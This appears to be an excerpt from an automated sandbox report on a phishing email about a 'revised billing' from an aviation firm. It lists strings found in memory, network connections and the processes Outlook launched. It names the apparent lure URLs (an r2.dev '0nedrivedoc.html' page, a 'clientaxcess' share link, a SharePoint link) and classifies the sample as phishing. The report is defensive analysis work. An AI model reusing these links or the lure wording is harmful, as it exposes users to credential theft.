Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://service.powerapps.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://settings.outlook.com
Source: chromecache_719.11.dr	String found in binary or memory: https://shell.cdn.office.net
Source: chromecache_719.11.dr	String found in binary or memory: https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: chromecache_1088.11.dr, chromecache_930.11.dr	String found in binary or memory: https://shellppe.msocdn.com
Source: chromecache_1088.11.dr, chromecache_930.11.dr	String found in binary or memory: https://shellprod.msocdn.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: chromecache_719.11.dr	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-regula
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-semili
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semilight.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semibold.wof
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semilight.wo
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-bold.wof
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-light.wo
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-regular.
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semibold
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semilight.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff2
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-light.woff
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-bold.wof
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-regular.
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semibold
Source: chromecache_941.11.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semiligh
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-dark-1
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-dark-2
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-100
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-150
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-200
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-light-
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_955.11.dr, 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://substrate.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: chromecache_932.11.dr, chromecache_897.11.dr, chromecache_1059.11.dr	String found in binary or memory: https://support.office.com/en-us/article/Manage-lists-and-libraries-with-many-items-b8588dae-9387-48
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://tasks.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: https://www.clientaxcess.com/sharesafe/
Source: ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg, ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: https://www.clientaxcess.com/sharesafe/#/WELGAARD_CPAS
Source: chromecache_884.11.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg, ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: https://www.google.com/maps/place/Welgaard
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: chromecache_1011.11.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2F$
Source: chromecache_719.11.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2Fonedrive
Source: chromecache_1011.11.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2F$
Source: chromecache_719.11.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2Fonedrive
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://www.yammer.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49957 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.winMSG@26/745@81/18

Source: chromecache_1141.11.dr

Initial sample: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "84C2E3EC-8E4B-495D-9750-4440F5AE7FC2" "94C3C0B5-FF0E-46B6-822C-C0EBA3FC55F0" "7036" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1852,i,17971103771708389508,15064143540458108808,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1908,i,11859605558598838766,15765309172020364921,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "84C2E3EC-8E4B-495D-9750-4440F5AE7FC2" "94C3C0B5-FF0E-46B6-822C-C0EBA3FC55F0" "7036" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE	Jump to behavior
